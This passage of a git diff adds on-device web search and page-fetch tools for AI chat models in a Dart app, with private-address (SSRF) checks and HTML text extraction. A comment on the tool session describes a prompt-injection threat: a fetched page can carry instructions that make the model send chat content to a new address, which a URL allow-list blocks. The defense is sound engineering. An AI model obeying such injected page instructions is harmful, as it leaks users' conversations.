isUnspecified || - isLoopback || - isUniqueLocal || - isLinkLocal || - isMulticast || - ((isIpv4Mapped || isIpv4Compatible) && - _isPrivateOrSpecialIpv4(bytes.sublist(12))); -} - -bool _isPrivateOrSpecialIpv4(List bytes) { - final first = bytes[0]; - final second = bytes[1]; - return first == 0 || - first == 10 || - first == 127 || - (first == 100 && second >= 64 && second <= 127) || - (first == 169 && second == 254) || - (first == 172 && second >= 16 && second <= 31) || - (first == 192 && second == 168) || - (first == 198 && (second == 18 || second == 19)) || - first >= 224; -} +/// Canonicalizes a model-supplied URL for Ollama Cloud's web tools. +String normalizeOllamaCloudPublicWebUrl(String value) => + normalizePublicWebUrl(value); Future> _responseJson( Response response, diff --git a/packages/conduit_core/lib/features/direct_connections/services/openai_compatible_adapter.dart b/packages/conduit_core/lib/features/direct_connections/services/openai_compatible_adapter.dart index 272c6d91a..aec26bfa3 100644 --- a/packages/conduit_core/lib/features/direct_connections/services/openai_compatible_adapter.dart +++ b/packages/conduit_core/lib/features/direct_connections/services/openai_compatible_adapter.dart @@ -2878,7 +2878,7 @@ final class _DirectEmitter { id: id, name: name, arguments: arguments, - result: result.text, + result: result.value ?? result.text, isError: result.isError, ), ); diff --git a/packages/conduit_core/lib/features/web_search/models/web_search_preferences.dart b/packages/conduit_core/lib/features/web_search/models/web_search_preferences.dart new file mode 100644 index 000000000..799352c20 --- /dev/null +++ b/packages/conduit_core/lib/features/web_search/models/web_search_preferences.dart @@ -0,0 +1,132 @@ +import 'package:conduit_ddgs/conduit_ddgs.dart'; + +/// The engine the user picked for on-device web search. +enum WebSearchEngineChoice { + /// Try DuckDuckGo, Brave, Bing, Mojeek, then Wikipedia. + auto(null), + duckduckgo(SearchEngineId.duckduckgo), + brave(SearchEngineId.brave), + bing(SearchEngineId.bing), + mojeek(SearchEngineId.mojeek); + + const WebSearchEngineChoice(this.engine); + + /// `null` for [auto]. + final SearchEngineId? engine; + + static WebSearchEngineChoice parse(String? name) { + for (final choice in values) { + if (choice.name == name) return choice; + } + return auto; + } +} + +SafeSearch parseSafeSearch(String? name) { + for (final value in SafeSearch.values) { + if (value.name == name) return value; + } + return SafeSearch.moderate; +} + +/// Stored value meaning "follow the device locale". +const String kWebSearchRegionAuto = 'auto'; + +/// A selectable search region. [name] is the region's own name for itself, +/// so the list needs no translation. +final class WebSearchRegionOption { + const WebSearchRegionOption(this.code, this.name); + + /// DuckDuckGo-style `country-language` code. + final String code; + final String name; + + SearchRegion get region => SearchRegion(code); +} + +/// Regions offered in settings, in DuckDuckGo's `kl` codes. +const List kWebSearchRegions = [ + WebSearchRegionOption('ar-es', 'Argentina'), + WebSearchRegionOption('au-en', 'Australia'), + WebSearchRegionOption('at-de', 'Österreich'), + WebSearchRegionOption('be-fr', 'Belgique'), + WebSearchRegionOption('be-nl', 'België'), + WebSearchRegionOption('br-pt', 'Brasil'), + WebSearchRegionOption('bg-bg', 'България'), + WebSearchRegionOption('ca-en', 'Canada (English)'), + WebSearchRegionOption('ca-fr', 'Canada (français)'), + WebSearchRegionOption('cl-es', 'Chile'), + WebSearchRegionOption('cn-zh', '中国'), + WebSearchRegionOption('co-es', 'Colombia'), + WebSearchRegionOption('cz-cs', 'Česko'), + WebSearchRegionOption('dk-da', 'Danmark'), + WebSearchRegionOption('de-de', 'Deutschland'), + WebSearchRegionOption('es-es', 'España'), + WebSearchRegionOption('ee-et', 'Eesti'), + WebSearchRegionOption('fr-fr', 'France'), + WebSearchRegionOption('gr-el', 'Ελλάδα'), + WebSearchRegionOption('hk-tzh', '香港'), + WebSearchRegionOption('in-en', 'India'), + WebSearchRegionOption('id-id', 'Indonesia'), + WebSearchRegionOption('ie-en', 'Ireland'), + WebSearchRegionOption('il-he', 'ישראל'), + WebSearchRegionOption('it-it', 'Italia'), + WebSearchRegionOption('jp-jp', '日本'), + WebSearchRegionOption('kr-kr', '대한민국'), + WebSearchRegionOption('hu-hu', 'Magyarország'), + WebSearchRegionOption('mx-es', 'México'), + WebSearchRegionOption('nl-nl', 'Nederland'), + WebSearchRegionOption('nz-en', 'New Zealand'), + WebSearchRegionOption('no-no', 'Norge'), + WebSearchRegionOption('pl-pl', 'Polska'), + WebSearchRegionOption('pt-pt', 'Portugal'), + WebSearchRegionOption('ro-ro', 'România'), + WebSearchRegionOption('ru-ru', 'Россия'), + WebSearchRegionOption('ch-de', 'Schweiz'), + WebSearchRegionOption('sg-en', 'Singapore'), + WebSearchRegionOption('sk-sk', 'Slovensko'), + WebSearchRegionOption('za-en', 'South Africa'), + WebSearchRegionOption('ch-fr', 'Suisse'), + WebSearchRegionOption('fi-fi', 'Suomi'), + WebSearchRegionOption('se-sv', 'Sverige'), + WebSearchRegionOption('tw-tzh', '臺灣'), + WebSearchRegionOption('th-th', 'ไทย'), + WebSearchRegionOption('tr-tr', 'Türkiye'), + WebSearchRegionOption('ua-uk', 'Україна'), + WebSearchRegionOption('uk-en', 'United Kingdom'), + WebSearchRegionOption('us-en', 'United States'), + WebSearchRegionOption('vn-vi', 'Việt Nam'), +]; + +/// Resolves the stored region preference to a [SearchRegion]. +/// +/// [stored] is `null`/[kWebSearchRegionAuto] to follow [deviceLocale] (a +/// `Platform.localeName`-style value such as `en_GB` or `pt-BR`), +/// `wt-wt` for worldwide, or one of [kWebSearchRegions]. A device locale +/// with no matching region falls back to worldwide. +SearchRegion resolveWebSearchRegion(String? stored, String deviceLocale) { + if (stored != null && stored != kWebSearchRegionAuto) { + if (stored == SearchRegion.worldwide.code) return SearchRegion.worldwide; + for (final option in kWebSearchRegions) { + if (option.code == stored) return option.region; + } + return SearchRegion.worldwide; + } + + final parts = deviceLocale + .split('.') + .first + .toLowerCase() + .split(RegExp('[-_]')); + if (parts.length < 2) return SearchRegion.worldwide; + final language = parts.first; + final country = parts.last; + SearchRegion? countryMatch; + for (final option in kWebSearchRegions) { + final region = option.region; + if (region.isoCountry != country) continue; + if (region.language == language) return region; + countryMatch ??= region; + } + return countryMatch ?? SearchRegion.worldwide; +} diff --git a/packages/conduit_core/lib/features/web_search/providers/web_search_providers.dart b/packages/conduit_core/lib/features/web_search/providers/web_search_providers.dart new file mode 100644 index 000000000..79e70c7e5 --- /dev/null +++ b/packages/conduit_core/lib/features/web_search/providers/web_search_providers.dart @@ -0,0 +1,63 @@ +import 'dart:io'; + +import 'package:conduit_ddgs/conduit_ddgs.dart'; +import 'package:http/http.dart' as http; +import 'package:riverpod/riverpod.dart'; + +import 'package:conduit_core/features/web_search/models/web_search_preferences.dart'; +import 'package:conduit_core/features/web_search/services/on_device_web_tools.dart'; +import 'package:conduit_core/features/web_search/services/web_page_fetcher.dart'; +import 'package:conduit_core/services/settings_service.dart'; + +/// One search client for the app's lifetime, so an engine that answered +/// with a captcha stays cooled down across chats instead of being retried +/// on every turn. +final onDeviceWebSearchProvider = Provider((ref) { + final client = http.Client(); + ref.onDispose(client.close); + return Ddgs(client: client); +}); + +final webPageFetcherProvider = Provider( + (ref) => WebPageFetcher(), +); + +/// `Platform.localeName`, e.g. `en_GB`. Overridden in tests. +final deviceLocaleNameProvider = Provider((ref) => Platform.localeName); + +/// The region on-device searches use, from settings or the device locale. +final webSearchRegionProvider = Provider((ref) { + final stored = ref.watch( + appSettingsProvider.select((settings) => settings.webSearchRegion), + ); + return resolveWebSearchRegion(stored, ref.watch(deviceLocaleNameProvider)); +}); + +typedef OnDeviceWebToolSessionFactory = OnDeviceWebToolSession Function({ + required WebToolBudget budget, + Iterable userProvidedUrls, + Future? cancel, +}); + +/// Builds the web tools for one Direct model turn with the user's current +/// engine, region and safe-search settings. +final onDeviceWebToolSessionFactoryProvider = + Provider((ref) { + return ({ + required WebToolBudget budget, + Iterable userProvidedUrls = const [], + Future? cancel, + }) { + final settings = ref.read(appSettingsProvider); + return OnDeviceWebToolSession( + search: ref.read(onDeviceWebSearchProvider), + fetcher: ref.read(webPageFetcherProvider), + engine: settings.webSearchEngine, + region: ref.read(webSearchRegionProvider), + safeSearch: settings.webSearchSafeSearch, + budget: budget, + userProvidedUrls: userProvidedUrls, + cancel: cancel, + ); + }; + }); diff --git a/packages/conduit_core/lib/features/web_search/services/direct_web_search_mode.dart b/packages/conduit_core/lib/features/web_search/services/direct_web_search_mode.dart new file mode 100644 index 000000000..5644b12f1 --- /dev/null +++ b/packages/conduit_core/lib/features/web_search/services/direct_web_search_mode.dart @@ -0,0 +1,106 @@ +import 'package:conduit_core/features/direct_connections/models/direct_connection_profile.dart'; +import 'package:conduit_core/features/direct_connections/services/direct_model_registry.dart'; +import 'package:conduit_core/features/web_search/services/on_device_web_tools.dart'; +import 'package:conduit_core/models/model.dart'; + +/// How a Direct model searches the web when the user turns web search on. +enum DirectWebSearchMode { + /// The model can't call tools, so there is nothing to offer. + unavailable, + + /// The provider runs the search (Ollama Cloud's `web_search`, OpenRouter's + /// server tool). Conduit only asks for it. + providerHosted, + + /// Conduit runs `web_search`/`web_fetch` on the device through the model's + /// tool calls. + onDevice, +} + +/// Resolves the web search mode for a Direct [model] bound by [binding]. +/// +/// Provider-hosted search is trusted only for connections the user added on +/// this device: an Open WebUI server controls the capabilities of the models +/// it relays, so it must not be able to claim a provider-side tool. +DirectWebSearchMode directWebSearchModeFor({ + required DirectModelBinding binding, + required Model model, +}) { + final capabilities = model.capabilities; + final isDeviceOwned = binding.source == DirectModelSource.device; + final isOllamaCloud = + binding.adapterKey == kOllamaAdapterKey && + capabilities?['ollama_cloud'] == true; + final isOpenRouter = + binding.adapterKey == kOpenAiCompatibleAdapterKey && + capabilities?['openrouter'] == true; + if (isDeviceOwned && + (isOllamaCloud || isOpenRouter) && + capabilities?['web_search'] == true) { + return DirectWebSearchMode.providerHosted; + } + return directModelMaySupportTools(model) + ? DirectWebSearchMode.onDevice + : DirectWebSearchMode.unavailable; +} + +/// False only when the provider says [model] can't call tools. Generic +/// OpenAI-compatible servers usually say nothing, so silence means "try"; +/// a provider that then rejects the tools fails the turn with +/// `DirectProviderFailureReason.toolsUnsupported`. +bool directModelMaySupportTools(Model model) { + final supportedParameters = model.supportedParameters; + if (supportedParameters != null && supportedParameters.isNotEmpty) { + return supportedParameters.contains('tools'); + } + // Ollama reports `completion`, `tools`, `vision`, `thinking`, ... + final ollamaCapabilities = model.capabilities?['capabilities']; + if (ollamaCapabilities is List && ollamaCapabilities.isNotEmpty) { + return ollamaCapabilities.contains('tools'); + } + return true; +} + +/// Context windows at or below this many tokens get [WebToolBudget.compact]. +const int kCompactWebToolContextTokens = 8192; + +/// Tool results land in the model's context, so small windows (Apple's +/// Foundation Models, small local models) get a tighter budget. +/// +/// [knownContextLength] is the advertised or user-set window, `null` when +/// unknown. Unknown is not the same as small: most hosted models don't +/// advertise their window. +WebToolBudget webToolBudgetFor({ + required String adapterKey, + required int? knownContextLength, +}) { + if (adapterKey == kApplePccAdapterKey || + (knownContextLength != null && + knownContextLength <= kCompactWebToolContextTokens)) { + return WebToolBudget.compact; + } + return WebToolBudget.standard; +} + +/// Whether a stored Direct error says the model rejected tool definitions. +/// +/// Generic OpenAI-compatible servers don't say up front whether a model can +/// call tools, so the first turn with web search on is how Conduit finds +/// out. Matches the wording of Ollama, llama.cpp, vLLM, LM Studio and +/// OpenAI-style gateways, and only for rejected (4xx) requests. +bool isDirectToolsUnsupportedError(String? message) { + if (message == null || !_rejectedRequest.hasMatch(message)) return false; + return _toolsUnsupported.hasMatch(message); +} + +final RegExp _rejectedRequest = RegExp(r'\bHTTP 4\d\d\b'); + +final RegExp _toolsUnsupported = RegExp( + r"(does not|doesn't|do not) support (tools|tool calling|tool use|function" + r'|functions)' + r'|(tools?|tool calling|tool use|function calling) (is |are )?not supported' + r'|unrecognized request argument supplied: tools' + r'|tools param requires' + r'|tool choice requires', + caseSensitive: false, +); diff --git a/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart new file mode 100644 index 000000000..2635f9957 --- /dev/null +++ b/packages/conduit_core/lib/features/web_search/services/on_device_web_tools.dart @@ -0,0 +1,313 @@ +import 'dart:convert'; + +import 'package:conduit_ddgs/conduit_ddgs.dart'; + +import 'package:conduit_core/features/direct_connections/models/direct_completion.dart'; +import 'package:conduit_core/features/web_search/models/web_search_preferences.dart'; +import 'package:conduit_core/features/web_search/services/public_web_address.dart'; +import 'package:conduit_core/features/web_search/services/web_page_extractor.dart'; +import 'package:conduit_core/features/web_search/services/web_page_fetcher.dart'; +import 'package:conduit_core/utils/debug_logger.dart'; + +/// Tool names shared with Ollama Cloud's hosted tools, so the chat bridge +/// turns both into the same source chips and tool tiles. +const String kWebSearchToolName = 'web_search'; +const String kWebFetchToolName = 'web_fetch'; + +/// Pseudo MCP server id for the compiled-in tools. +const String kOnDeviceWebToolServerId = 'conduit.web'; + +const int _maxQueryCharacters = 400; +const int _maxUrlCharacters = 4096; +const int _maxTitleCharacters = 300; + +/// How much of each result the model sees. Tool results land in the model's +/// context, so small on-device models need a much tighter budget. +final class WebToolBudget { + const WebToolBudget({ + required this.maxResults, + required this.snippetCharacters, + required this.pageCharacters, + }); + + static const WebToolBudget standard = WebToolBudget( + maxResults: 5, + snippetCharacters: 300, + pageCharacters: 12000, + ); + + /// For Apple's on-device model and other ~4K-token context windows. + static const WebToolBudget compact = WebToolBudget( + maxResults: 3, + snippetCharacters: 160, + pageCharacters: 1500, + ); + + final int maxResults; + final int snippetCharacters; + final int pageCharacters; +} + +/// `web_search` and `web_fetch`, run on the device for one model turn. +/// +/// Like Ollama Cloud's tools, a fetch is limited to URLs the session has +/// already seen, here search results plus links the user wrote in the +/// turn's message. A fetched page can carry prompt-injected instructions; +/// the allow-list stops them from making the model send chat content to a +/// new address. +final class OnDeviceWebToolSession { + OnDeviceWebToolSession({ + required Ddgs search, + required WebPageFetcher fetcher, + required this.engine, + required this.region, + required this.safeSearch, + this.budget = WebToolBudget.standard, + Iterable userProvidedUrls = const [], + Future? cancel, + DateTime Function()? clock, + }) : _search = search, + _fetcher = fetcher, + _cancel = cancel, + _clock = clock ?? DateTime.now { + for (final url in userProvidedUrls) { + try { + _fetchableUrls.add(normalizePublicWebUrl(url)); + } on FormatException { + // Local or malformed links in the user's message stay unfetchable. + } + } + } + + final Ddgs _search; + final WebPageFetcher _fetcher; + final Future? _cancel; + final DateTime Function() _clock; + final Set _fetchableUrls = {}; + + final WebSearchEngineChoice engine; + final SearchRegion region; + final SafeSearch safeSearch; + final WebToolBudget budget; + + static bool handles(String name) => + name == kWebSearchToolName || name == kWebFetchToolName; + + List get definitions { + final today = _clock().toIso8601String().substring(0, 10); + return [ + _definition( + name: kWebSearchToolName, + displayName: 'Web search', + description: + 'Search the web for current information. Returns titles, URLs ' + 'and short snippets. Today is $today. Call $kWebFetchToolName ' + 'to read a result in full.', + inputSchema: { + 'type': 'object', + 'required': ['query'], + 'additionalProperties': false, + 'properties': { + 'query': {'type': 'string', 'description': 'The search query.'}, + 'max_results': { + 'type': 'integer', + 'minimum': 1, + 'maximum': budget.maxResults, + 'description': 'How many results to return.', + }, + }, + }, + ), + _definition( + name: kWebFetchToolName, + displayName: 'Read web page', + description: + 'Read one web page as text. The URL must come from ' + '$kWebSearchToolName results or from the user\'s message.', + inputSchema: { + 'type': 'object', + 'required': ['url'], + 'additionalProperties': false, + 'properties': { + 'url': { + 'type': 'string', + 'description': 'An absolute HTTP or HTTPS URL.', + }, + }, + }, + ), + ]; + } + + /// Runs one tool call. Failures come back as error results the model can + /// read; only cancellation throws. + Future execute( + String name, + Map arguments, + ) async { + try { + final value = switch (name) { + kWebSearchToolName => await _webSearch(arguments), + kWebFetchToolName => await _webFetch(arguments), + _ => throw FormatException('Tool "$name" is not available.'), + }; + return DirectToolResult(text: jsonEncode(value), value: value); + } on WebSearchCancelledException { + rethrow; + } on FormatException catch (error) { + return _error(error.message); + } on WebFetchException catch (error) { + return _error(error.message); + } on WebSearchUnavailableException catch (error) { + DebugLogger.warning( + 'search-unavailable', + scope: 'web-search', + data: {'blocked': error.wasBlocked}, + ); + return _error( + error.wasBlocked + ? 'Web search is temporarily unavailable: the search engine is ' + 'asking for a captcha. Answer without searching, and say so.' + : 'Web search could not reach a search engine. Answer without ' + 'searching, and say so.', + ); + } + } + + Future> _webSearch( + Map arguments, + ) async { + _rejectUnexpectedArguments(arguments, const {'query', 'max_results'}); + final query = _requiredString(arguments, 'query', _maxQueryCharacters); + final maxResults = switch (arguments['max_results']) { + null => budget.maxResults, + final int value when value >= 1 => value.clamp(1, budget.maxResults), + _ => throw FormatException( + 'max_results must be an integer from 1 to ${budget.maxResults}.', + ), + }; + + final response = await _search.search( + SearchQuery(query, region: region, safeSearch: safeSearch), + engine: engine.engine, + maxResults: maxResults, + cancel: _cancel, + ); + // "No results" after other engines refused is not an answer: the model + // would tell the user nothing exists. + if (response.results.isEmpty && response.failures.isNotEmpty) { + throw WebSearchUnavailableException(response.failures); + } + final results = >[]; + for (final result in response.results) { + final String url; + try { + url = normalizePublicWebUrl(result.url.toString()); + } on FormatException { + continue; + } + _fetchableUrls.add(url); + results.add({ + 'title': _truncate(result.title, _maxTitleCharacters), + 'url': url, + 'content': _truncate(result.snippet, budget.snippetCharacters), + }); + } + return {'results': results}; + } + + Future> _webFetch(Map arguments) async { + _rejectUnexpectedArguments(arguments, const {'url'}); + final url = normalizePublicWebUrl( + _requiredString(arguments, 'url', _maxUrlCharacters), + ); + if (!_fetchableUrls.contains(url)) { + throw const FormatException( + 'web_fetch only accepts an exact URL from web_search results or from ' + 'the user\'s message.', + ); + } + final page = await _fetcher.fetch( + Uri.parse(url), + acceptLanguage: region.acceptLanguage, + cancel: _cancel, + ); + final extracted = extractReadableText(page); + final truncated = + page.truncated || extracted.text.length > budget.pageCharacters; + return { + 'title': _truncate(extracted.title, _maxTitleCharacters), + 'url': page.url.toString(), + 'content': _truncate(extracted.text, budget.pageCharacters), + if (truncated) 'truncated': true, + }; + } + + DirectToolDefinition _definition({ + required String name, + required String displayName, + required String description, + required Map inputSchema, + }) => DirectToolDefinition( + name: name, + serverId: kOnDeviceWebToolServerId, + serverName: 'Web search', + remoteName: name, + displayName: displayName, + description: description, + approvalFingerprint: '$kOnDeviceWebToolServerId/$name/v1', + inputSchema: inputSchema, + ); + + static DirectToolResult _error(String message) { + final value = {'error': message}; + return DirectToolResult( + text: jsonEncode(value), + value: value, + isError: true, + ); + } +} + +/// `http(s)` links in [text], e.g. the user's message, for the fetch +/// allow-list. +List extractWebUrls(String text) { + return [ + for (final match in _urlPattern.allMatches(text)) + match.group(0)!.replaceFirst(_trailingPunctuation, ''), + ]; +} + +final RegExp _urlPattern = RegExp(r'''https?://[^\s<>"'`]+'''); +final RegExp _trailingPunctuation = RegExp(r'[.,;:!?)\]}>]+$'); + +void _rejectUnexpectedArguments( + Map arguments, + Set allowed, +) { + final unexpected = arguments.keys.where((key) => !allowed.contains(key)); + if (unexpected.isNotEmpty) { + throw FormatException('Unsupported arguments: ${unexpected.join(', ')}.'); + } +} + +String _requiredString( + Map arguments, + String key, + int maxCharacters, +) { + final value = arguments[key]; + if (value is! String || value.trim().isEmpty) { + throw FormatException('"$key" is required.'); + } + final trimmed = value.trim(); + if (trimmed.length > maxCharacters) { + throw FormatException('"$key" is too long.'); + } + return trimmed; +} + +String _truncate(String text, int maxCharacters) { + if (text.length <= maxCharacters) return text; + return '${text.substring(0, maxCharacters - 1).trimRight()}…'; +} diff --git a/packages/conduit_core/lib/features/web_search/services/public_web_address.dart b/packages/conduit_core/lib/features/web_search/services/public_web_address.dart new file mode 100644 index 000000000..a9a49ef28 --- /dev/null +++ b/packages/conduit_core/lib/features/web_search/services/public_web_address.dart @@ -0,0 +1,88 @@ +import 'dart:io'; + +/// Canonicalizes [value] as a public `http`/`https` URL, or throws +/// [FormatException]. +/// +/// This is the syntactic half of the public-web boundary: it rejects +/// non-web schemes, embedded credentials, local hostnames and private IP +/// literals. A hostname that *resolves* to a private address is caught at +/// connect time by [isPublicInternetAddress]. +String normalizePublicWebUrl(String value) { + final uri = Uri.tryParse(value); + if (uri == null) { + throw const FormatException('Web fetch URL is invalid.'); + } + if (!uri.hasScheme) { + throw const FormatException('Web fetch URL must be absolute.'); + } + if (uri.scheme != 'http' && uri.scheme != 'https') { + throw const FormatException('Web fetch URL must use HTTP or HTTPS.'); + } + if (uri.host.isEmpty) { + throw const FormatException('Web fetch URL must include a host.'); + } + if (uri.userInfo.isNotEmpty) { + throw const FormatException( + 'Web fetch URL must not include user information.', + ); + } + // DNS treats a terminal dot as the same absolute hostname. Canonicalize it + // before applying the public-host boundary so `localhost.` and IP literals + // with a terminal dot cannot bypass the checks below. + final host = uri.host.toLowerCase().replaceFirst(RegExp(r'\.+$'), ''); + if (host == 'localhost' || + host.isEmpty || + host.endsWith('.localhost') || + host.endsWith('.local') || + host.endsWith('.internal')) { + throw const FormatException('Web fetch requires a public URL.'); + } + final literal = InternetAddress.tryParse(host); + if (literal != null && !isPublicInternetAddress(literal)) { + throw const FormatException('Web fetch requires a public URL.'); + } + return uri.removeFragment().toString(); +} + +/// Whether [address] is routable on the public internet: not loopback, +/// private, link-local, carrier-grade NAT, benchmarking, multicast or +/// reserved, including IPv4 addresses embedded in IPv6. +bool isPublicInternetAddress(InternetAddress address) { + if (address.type == InternetAddressType.unix) return false; + final bytes = address.rawAddress; + if (address.type == InternetAddressType.IPv4) { + return !_isPrivateOrSpecialIpv4(bytes); + } + final isUnspecified = bytes.every((byte) => byte == 0); + final isLoopback = + bytes.take(15).every((byte) => byte == 0) && bytes.last == 1; + final isUniqueLocal = (bytes[0] & 0xfe) == 0xfc; + final isLinkLocal = bytes[0] == 0xfe && (bytes[1] & 0xc0) == 0x80; + final isMulticast = bytes[0] == 0xff; + final isIpv4Mapped = + bytes.take(10).every((byte) => byte == 0) && + bytes[10] == 0xff && + bytes[11] == 0xff; + final isIpv4Compatible = bytes.take(12).every((byte) => byte == 0); + return !(isUnspecified || + isLoopback || + isUniqueLocal || + isLinkLocal || + isMulticast || + ((isIpv4Mapped || isIpv4Compatible) && + _isPrivateOrSpecialIpv4(bytes.sublist(12)))); +} + +bool _isPrivateOrSpecialIpv4(List bytes) { + final first = bytes[0]; + final second = bytes[1]; + return first == 0 || + first == 10 || + first == 127 || + (first == 100 && second >= 64 && second <= 127) || + (first == 169 && second == 254) || + (first == 172 && second >= 16 && second <= 31) || + (first == 192 && second == 168) || + (first == 198 && (second == 18 || second == 19)) || + first >= 224; +} diff --git a/packages/conduit_core/lib/features/web_search/services/web_page_extractor.dart b/packages/conduit_core/lib/features/web_search/services/web_page_extractor.dart new file mode 100644 index 000000000..ea6f114ee --- /dev/null +++ b/packages/conduit_core/lib/features/web_search/services/web_page_extractor.dart @@ -0,0 +1,271 @@ +import 'package:html/dom.dart'; +import 'package:html/parser.dart' as html_parser; + +import 'package:conduit_core/features/web_search/services/web_page_fetcher.dart'; + +/// Readable text extracted from a fetched page. +final class ExtractedWebPage { + const ExtractedWebPage({required this.title, required this.text}); + + final String title; + + /// Markdown-flavoured plain text: headings, list items and code blocks + /// keep their structure; navigation, ads and scripts are dropped. + final String text; +} + +/// Extracts the readable part of [page]. +ExtractedWebPage extractReadableText(FetchedWebPage page) { + if (page.contentType != 'text/html' && + page.contentType != 'application/xhtml+xml') { + return ExtractedWebPage(title: '', text: _tidy(page.body)); + } + final document = html_parser.parse(page.body); + final title = _title(document); + _removeChrome(document); + final root = _contentRoot(document); + if (root == null) return ExtractedWebPage(title: title, text: ''); + final buffer = _TextBuffer(); + _render(root, buffer); + return ExtractedWebPage(title: title, text: _tidy(buffer.toString())); +} + +String _title(Document document) { + final candidates = [ + document.querySelector('meta[property="og:title"]')?.attributes['content'], + document.querySelector('title')?.text, + document.querySelector('h1')?.text, + ]; + for (final candidate in candidates) { + final text = _collapse(candidate ?? ''); + if (text.isNotEmpty) return text; + } + return ''; +} + +const _chromeSelectors = [ + 'script', + 'style', + 'noscript', + 'template', + 'svg', + 'canvas', + 'iframe', + 'object', + 'embed', + 'form', + 'button', + 'select', + 'textarea', + 'nav', + 'header', + 'footer', + 'aside', + 'dialog', + '[hidden]', + '[aria-hidden="true"]', + '[role="navigation"]', + '[role="banner"]', + '[role="contentinfo"]', + '[role="complementary"]', + '[role="dialog"]', +]; + +/// Class or id tokens that mark page furniture rather than content. +final _chromeToken = RegExp( + r'(^|[-_])(cookie|consent|gdpr|advert|ads?|sponsor|sidebar|newsletter|' + r'subscribe|social|share|related|comments?|promo|popup|modal|breadcrumbs?|' + r'skip-link)($|[-_])', +); + +void _removeChrome(Document document) { + for (final selector in _chromeSelectors) { + for (final element in document.querySelectorAll(selector)) { + // Some sites wrap everything in a
or
; never throw away + // the element that holds the article itself. + if (_holdsMainContent(element)) continue; + element.remove(); + } + } + // Class names are a weaker signal than tags: a `layout-has-sidebar` + // wrapper can hold the whole article. Only drop elements that hold a minor + // share of the page's text. + final pageTextLength = document.body?.text.length ?? 0; + for (final element in document.querySelectorAll('[class], [id]')) { + if (element.parent == null || _holdsMainContent(element)) continue; + final tokens = [ + ...element.classes, + if (element.id.isNotEmpty) element.id, + ].map((token) => token.toLowerCase()); + if (!tokens.any(_chromeToken.hasMatch)) continue; + if (element.text.length * 2 > pageTextLength) continue; + element.remove(); + } +} + +bool _holdsMainContent(Element element) { + final tag = element.localName; + if (tag == 'body' || tag == 'html' || tag == 'main' || tag == 'article') { + return true; + } + return element.querySelector('main, article, [role="main"]') != null; +} + +Element? _contentRoot(Document document) { + final body = document.body; + if (body == null) return null; + final candidates = document.querySelectorAll('article, main, [role="main"]'); + Element? best; + var bestLength = 0; + for (final candidate in candidates) { + final length = _collapse(candidate.text).length; + if (length > bestLength) { + best = candidate; + bestLength = length; + } + } + // A short
is usually a teaser card, not the page's content. + return best != null && bestLength >= 200 ? best : body; +} + +const _blockTags = { + 'address', + 'article', + 'blockquote', + 'dd', + 'details', + 'div', + 'dl', + 'dt', + 'figcaption', + 'figure', + 'hr', + 'li', + 'main', + 'ol', + 'p', + 'section', + 'summary', + 'table', + 'tbody', + 'thead', + 'tr', + 'ul', +}; + +void _render(Node node, _TextBuffer out) { + if (node is Text) { + out.inline(node.text); + return; + } + if (node is! Element) return; + final tag = node.localName ?? ''; + switch (tag) { + case 'br': + out.newline(); + return; + case 'img': + return; + case 'pre': + out.block(); + out.raw('```\n${node.text.trimRight()}\n```'); + out.block(); + return; + case 'code': + out.inline('`${_collapse(node.text)}`'); + return; + case 'h1' || 'h2' || 'h3' || 'h4' || 'h5' || 'h6': + final text = _collapse(node.text); + if (text.isEmpty) return; + out.block(); + out.raw('${'#' * int.parse(tag.substring(1))} $text'); + out.block(); + return; + case 'li': + out.newline(); + out.raw('- '); + for (final child in node.nodes) { + _render(child, out); + } + out.newline(); + return; + case 'td' || 'th': + for (final child in node.nodes) { + _render(child, out); + } + out.inline(' | '); + return; + } + final isBlock = _blockTags.contains(tag); + if (isBlock) out.block(); + for (final child in node.nodes) { + _render(child, out); + } + if (isBlock) out.block(); +} + +/// Accumulates rendered text while collapsing inline whitespace. +final class _TextBuffer { + final StringBuffer _buffer = StringBuffer(); + bool _pendingSpace = false; + bool _atLineStart = true; + + void inline(String text) { + if (text.isEmpty) return; + final collapsed = _collapse(text); + if (collapsed.isEmpty) { + _pendingSpace = true; + return; + } + if ((_pendingSpace || text.startsWith(_space)) && !_atLineStart) { + _buffer.write(' '); + } + _buffer.write(collapsed); + _pendingSpace = _space.hasMatch(text[text.length - 1]); + _atLineStart = false; + } + + /// Writes [text] verbatim; a trailing space or newline counts as a line + /// start so the next inline text doesn't gain a leading space. + void raw(String text) { + _buffer.write(text); + _pendingSpace = false; + _atLineStart = text.endsWith('\n') || text.endsWith(' '); + } + + void newline() => raw('\n'); + + void block() => raw('\n\n'); + + @override + String toString() => _buffer.toString(); +} + +final _space = RegExp(r'\s'); +final _whitespace = RegExp(r'\s+'); + +String _collapse(String text) => text.replaceAll(_whitespace, ' ').trim(); + +/// Trims each line and limits blank runs to one empty line. +String _tidy(String text) { + final lines = text + .replaceAll('\r\n', '\n') + .split('\n') + .map((line) => line.trimRight()) + .toList(); + final out = StringBuffer(); + var blankRun = 0; + var inFence = false; + for (final line in lines) { + if (line.trimLeft().startsWith('```')) inFence = !inFence; + final trimmed = inFence ? line : line.trim(); + if (trimmed.isEmpty) { + blankRun++; + if (blankRun > 1) continue; + } else { + blankRun = 0; + } + out.writeln(trimmed); + } + return out.toString().trim(); +} diff --git a/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart b/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart new file mode 100644 index 000000000..8fd7b596c --- /dev/null +++ b/packages/conduit_core/lib/features/web_search/services/web_page_fetcher.dart @@ -0,0 +1,229 @@ +import 'dart:async'; +import 'dart:convert'; +import 'dart:io'; + +import 'package:conduit_ddgs/conduit_ddgs.dart' show kDdgsDefaultUserAgent; + +import 'package:conduit_core/features/web_search/services/public_web_address.dart'; + +/// Why a page could not be fetched. The message is written for the model, +/// which reads it as the tool result. +final class WebFetchException implements Exception { + const WebFetchException(this.message, {this.statusCode}); + + final String message; + final int? statusCode; + + @override + String toString() => 'WebFetchException: $message'; +} + +/// A fetched page body, decoded to text. +final class FetchedWebPage { + const FetchedWebPage({ + required this.url, + required this.contentType, + required this.body, + required this.truncated, + }); + + /// The final URL after redirects. + final Uri url; + + /// Lower-cased MIME type without parameters, e.g. `text/html`. + final String contentType; + final String body; + + /// Whether the body was cut at the fetcher's byte limit. + final bool truncated; +} + +typedef HostLookup = Future> Function(String host); + +/// Fetches public web pages from the device for the `web_fetch` tool. +/// +/// The device can usually reach the user's LAN, so every connection is +/// vetted where it is made: the host is resolved, every resolved address +/// must be public, and the 